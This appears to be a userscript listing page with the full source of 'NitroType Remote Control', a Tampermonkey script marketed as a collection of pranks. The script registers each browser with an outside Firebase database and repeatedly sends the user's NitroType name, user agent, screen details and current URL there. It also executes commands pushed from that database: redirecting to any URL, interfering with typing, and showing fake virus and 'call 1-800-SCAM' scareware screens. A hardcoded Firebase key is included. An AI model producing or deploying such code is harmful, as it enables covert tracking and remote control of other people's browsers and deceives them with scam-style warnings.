NitroType Remote Control

Remote control script for NitroType with 25+ pranks using Firebase

当前为 2025-11-30 提交的版本,查看 最新版本

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Greasemonkey 油猴子Violentmonkey 暴力猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Violentmonkey 暴力猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Userscripts ,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展后才能安装此脚本。

(我已经安装了用户脚本管理器,让我安装!)

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

(我已经安装了用户样式管理器,让我安装!)

// ==UserScript==
// @name         NitroType Remote Control
// @namespace    http://tampermonkey.net/
// @version      3.0
// @license MIT
// @description  Remote control script for NitroType with 25+ pranks using Firebase
// @author       You
// @match        https://www.nitrotype.com/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

    // Firebase configuration
    const firebaseConfig = {
        apiKey: "AIzaSyCL7XUY6n56KoUHKOKC7WrQKDeZdiKL4yk",
        authDomain: "disciplemanager.firebaseapp.com",
        databaseURL: "https://disciplemanager-default-rtdb.firebaseio.com",
        projectId: "disciplemanager",
        storageBucket: "disciplemanager.firebasestorage.app",
        messagingSenderId: "333051652706",
        appId: "1:333051652706:web:18e8c82813245a583dff3b",
        measurementId: "G-CQKCCEGCQ4"
    };

    // Load Firebase SDKs
    const firebaseScript = document.createElement('script');
    firebaseScript.src = 'https://www.gstatic.com/firebasejs/10.7.1/firebase-app-compat.js';
    firebaseScript.onload = () => {
        const databaseScript = document.createElement('script');
        databaseScript.src = 'https://www.gstatic.com/firebasejs/10.7.1/firebase-database-compat.js';
        databaseScript.onload = () => {
            initializeFirebase();
        };
        document.head.appendChild(databaseScript);
    };
    document.head.appendChild(firebaseScript);

    let clientId = null;
    let database = null;
    let activePranks = new Set();

    function initializeFirebase() {
        firebase.initializeApp(firebaseConfig);
        database = firebase.database();
        
        // Generate unique client ID
        clientId = generateClientId();
        
        // Register this client
        registerClient();
        
        // Listen for commands
        listenForCommands();
        
        // Keep client alive
        setInterval(updateClientHeartbeat, 5000);
    }

    function generateClientId() {
        return Math.random().toString(36).substring(2, 9) + Date.now().toString(36);
    }

    // Get computer info
    function getComputerInfo() {
        // Try to get username from NitroType page
        let name = null;
        const nameElement = document.querySelector('span.db.type-ellip.type-ellip--account');
        if (nameElement) {
            name = nameElement.textContent.trim();
        }
        
        return {
            name: name,
            userAgent: navigator.userAgent,
            platform: navigator.platform,
            language: navigator.language,
            screenWidth: window.screen.width,
            screenHeight: window.screen.height,
            url: window.location.href,
            hostname: window.location.hostname,
            timestamp: new Date().toISOString()
        };
    }

    function registerClient() {
        if (!database) return;
        
        const clientRef = database.ref(`nitrotype/clients/${clientId}`);
        clientRef.set({
            info: getComputerInfo(),
            lastSeen: Date.now()
        });
        
        console.log('Registered with Firebase:', clientId);
    }

    function updateClientHeartbeat() {
        if (!database) return;
        
        const clientRef = database.ref(`nitrotype/clients/${clientId}`);
        clientRef.update({
            lastSeen: Date.now(),
            info: getComputerInfo()
        });
    }

    function listenForCommands() {
        if (!database) return;
        
        const commandsRef = database.ref(`nitrotype/commands/${clientId}`);
        commandsRef.on('value', (snapshot) => {
            const data = snapshot.val();
            if (data && data.command) {
                handleMessage(data);
                // Clear the command after processing
                commandsRef.remove();
            }
        });
    }

    // Handle incoming commands
    function handleMessage(message) {
        switch(message.command) {
            case 'navigate':
                if (message.url) window.location.href = message.url;
                break;
            case 'hide_dash':
                hideDashContent();
                break;
            case 'reload':
                window.location.reload();
                break;
            case 'spam_letters':
                spamLetters();
                break;
            case 'go_to_profile':
                window.location.href = 'https://www.nitrotype.com/racer/sidastuff';
                break;
            case 'flip_screen':
                flipScreen();
                break;
            case 'rotate_text':
                rotateText();
                break;
            case 'rainbow_colors':
                rainbowColors();
                break;
            case 'annoying_popups':
                annoyingPopups();
                break;
            case 'random_sounds':
                randomSounds();
                break;
            case 'shake_screen':
                shakeScreen();
                break;
            case 'invert_colors':
                invertColors();
                break;
            case 'fake_errors':
                fakeErrors();
                break;
            case 'random_fonts':
                randomFonts();
                break;
            case 'fake_notifications':
                fakeNotifications();
                break;
            case 'make_move':
                makeMove();
                break;
            case 'fake_loading':
                fakeLoading();
                break;
            case 'change_cursor':
                changeCursor();
                break;
            case 'fake_system_msg':
                fakeSystemMsg();
                break;
            case 'unreadable_text':
                unreadableText();
                break;
            case 'fake_ads':
                fakeAds();
                break;
            case 'slow_typing':
                slowTyping();
                break;
            case 'fake_virus':
                fakeVirus();
                break;
            case 'change_title':
                changeTitle();
                break;
            case 'fake_chat':
                fakeChat();
                break;
        }
    }

    // PRANK FUNCTIONS

    function hideDashContent() {
        const dashContent = document.querySelector('.dash-content');
        if (dashContent) dashContent.style.display = 'none';
    }

    function spamLetters() {
        const input = document.querySelector('.dash-copy-input');
        if (!input) return;
        const letters = 'abcdefghijklmnopqrstuvwxyz';
        const startTime = Date.now();
        const duration = 5000;
        function spam() {
            if (Date.now() - startTime < duration) {
                const randomLetter = letters[Math.floor(Math.random() * letters.length)];
                input.value += randomLetter;
                input.dispatchEvent(new Event('input', { bubbles: true }));
                setTimeout(spam, 50);
            }
        }
        spam();
    }

    function flipScreen() {
        document.body.style.transform = 'rotate(180deg)';
        activePranks.add('flip_screen');
    }

    function rotateText() {
        const style = document.createElement('style');
        style.id = 'rotate-text-style';
        style.textContent = `
            * { transform: rotate(${Math.random() * 360}deg) !important; }
        `;
        document.head.appendChild(style);
        activePranks.add('rotate_text');
    }

    function rainbowColors() {
        const style = document.createElement('style');
        style.id = 'rainbow-style';
        style.textContent = `
            * {
                animation: rainbow 2s infinite !important;
            }
            @keyframes rainbow {
                0% { color: red !important; background: blue !important; }
                25% { color: yellow !important; background: green !important; }
                50% { color: blue !important; background: red !important; }
                75% { color: green !important; background: yellow !important; }
                100% { color: red !important; background: blue !important; }
            }
        `;
        document.head.appendChild(style);
        activePranks.add('rainbow_colors');
    }

    function annoyingPopups() {
        const messages = ['Hello!', 'Click me!', 'You won!', 'Error!', 'Warning!', 'Alert!'];
        let count = 0;
        const interval = setInterval(() => {
            if (count++ > 20) {
                clearInterval(interval);
                return;
            }
            alert(messages[Math.floor(Math.random() * messages.length)]);
        }, 2000);
        activePranks.add('annoying_popups');
    }

    function randomSounds() {
        const audioContext = new (window.AudioContext || window.webkitAudioContext)();
        let count = 0;
        const interval = setInterval(() => {
            if (count++ > 10) {
                clearInterval(interval);
                return;
            }
            const oscillator = audioContext.createOscillator();
            oscillator.frequency.value = Math.random() * 1000 + 200;
            oscillator.type = 'sine';
            const gainNode = audioContext.createGain();
            gainNode.gain.value = 0.1;
            oscillator.connect(gainNode);
            gainNode.connect(audioContext.destination);
            oscillator.start();
            oscillator.stop(audioContext.currentTime + 0.1);
        }, 500);
        activePranks.add('random_sounds');
    }

    function shakeScreen() {
        const style = document.createElement('style');
        style.id = 'shake-style';
        style.textContent = `
            body {
                animation: shake 0.5s infinite !important;
            }
            @keyframes shake {
                0%, 100% { transform: translate(0, 0); }
                25% { transform: translate(-10px, -10px); }
                50% { transform: translate(10px, 10px); }
                75% { transform: translate(-10px, 10px); }
            }
        `;
        document.head.appendChild(style);
        activePranks.add('shake_screen');
    }

    function invertColors() {
        const style = document.createElement('style');
        style.id = 'invert-style';
        style.textContent = `
            * {
                filter: invert(1) !important;
            }
        `;
        document.head.appendChild(style);
        activePranks.add('invert_colors');
    }

    function fakeErrors() {
        const errorDiv = document.createElement('div');
        errorDiv.style.cssText = 'position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:red;color:white;padding:20px;z-index:99999;font-size:20px;';
        errorDiv.textContent = 'CRITICAL ERROR: System failure detected!';
        document.body.appendChild(errorDiv);
        setTimeout(() => errorDiv.remove(), 5000);
    }

    function randomFonts() {
        const fonts = ['Comic Sans MS', 'Papyrus', 'Wingdings', 'Times New Roman', 'Arial'];
        const style = document.createElement('style');
        style.id = 'random-fonts-style';
        style.textContent = `
            * {
                font-family: ${fonts[Math.floor(Math.random() * fonts.length)]} !important;
                font-size: ${Math.random() * 50 + 10}px !important;
            }
        `;
        document.head.appendChild(style);
        activePranks.add('random_fonts');
    }

    function fakeNotifications() {
        const notification = document.createElement('div');
        notification.style.cssText = 'position:fixed;top:20px;right:20px;background:#333;color:white;padding:15px;border-radius:5px;z-index:99999;';
        notification.textContent = '🔔 New message: You have 999 unread emails!';
        document.body.appendChild(notification);
        setTimeout(() => notification.remove(), 5000);
    }

    function makeMove() {
        const style = document.createElement('style');
        style.id = 'make-move-style';
        style.textContent = `
            * {
                animation: move 1s infinite !important;
            }
            @keyframes move {
                0%, 100% { transform: translate(0, 0); }
                50% { transform: translate(20px, 20px); }
            }
        `;
        document.head.appendChild(style);
        activePranks.add('make_move');
    }

    function fakeLoading() {
        const loader = document.createElement('div');
        loader.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:black;color:white;display:flex;align-items:center;justify-content:center;z-index:99999;font-size:30px;';
        loader.innerHTML = 'Loading... Please wait...';
        document.body.appendChild(loader);
        setTimeout(() => loader.remove(), 5000);
    }

    function changeCursor() {
        const style = document.createElement('style');
        style.id = 'cursor-style';
        style.textContent = `
            * {
                cursor: crosshair !important;
            }
        `;
        document.head.appendChild(style);
        activePranks.add('change_cursor');
    }

    function fakeSystemMsg() {
        const msg = document.createElement('div');
        msg.style.cssText = 'position:fixed;bottom:20px;left:20px;background:blue;color:white;padding:15px;border-radius:5px;z-index:99999;';
        msg.textContent = '⚠️ System: Your computer has been compromised!';
        document.body.appendChild(msg);
        setTimeout(() => msg.remove(), 7000);
    }

    function unreadableText() {
        const style = document.createElement('style');
        style.id = 'unreadable-style';
        style.textContent = `
            * {
                letter-spacing: 50px !important;
                word-spacing: 100px !important;
            }
        `;
        document.head.appendChild(style);
        activePranks.add('unreadable_text');
    }

    function fakeAds() {
        const ad = document.createElement('div');
        ad.style.cssText = 'position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:yellow;padding:30px;z-index:99999;border:5px solid red;';
        ad.innerHTML = '<h2>CLICK HERE TO WIN $1000!</h2><p>Limited time offer!</p>';
        document.body.appendChild(ad);
        setTimeout(() => ad.remove(), 5000);
    }

    function slowTyping() {
        const input = document.querySelector('.dash-copy-input');
        if (!input) return;
        const originalAddEventListener = input.addEventListener;
        input.addEventListener = function(type, listener) {
            if (type === 'keydown' || type === 'keypress') {
                return originalAddEventListener.call(this, type, function(e) {
                    setTimeout(() => listener(e), 500);
                });
            }
            return originalAddEventListener.call(this, type, listener);
        };
        activePranks.add('slow_typing');
    }

    function fakeVirus() {
        const virus = document.createElement('div');
        virus.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:red;color:white;display:flex;align-items:center;justify-content:center;z-index:99999;font-size:40px;text-align:center;';
        virus.innerHTML = '<div><h1>⚠️ VIRUS DETECTED ⚠️</h1><p>Your computer is infected!</p><p>Please call 1-800-SCAM immediately!</p></div>';
        document.body.appendChild(virus);
        setTimeout(() => virus.remove(), 8000);
    }

    function changeTitle() {
        const titles = ['You are hacked!', 'Virus detected!', 'Error 404', 'Loading...', 'Warning!'];
        let index = 0;
        const interval = setInterval(() => {
            document.title = titles[index % titles.length];
            index++;
        }, 1000);
        activePranks.add('change_title');
    }

    function fakeChat() {
        const chat = document.createElement('div');
        chat.style.cssText = 'position:fixed;bottom:20px;right:20px;background:white;border:2px solid black;padding:10px;width:200px;z-index:99999;';
        chat.innerHTML = '<div style="font-weight:bold;">Chat Messages:</div><div>User1: Hello!</div><div>User2: How are you?</div><div>User3: This is fake!</div>';
        document.body.appendChild(chat);
        setTimeout(() => chat.remove(), 10000);
    }

})();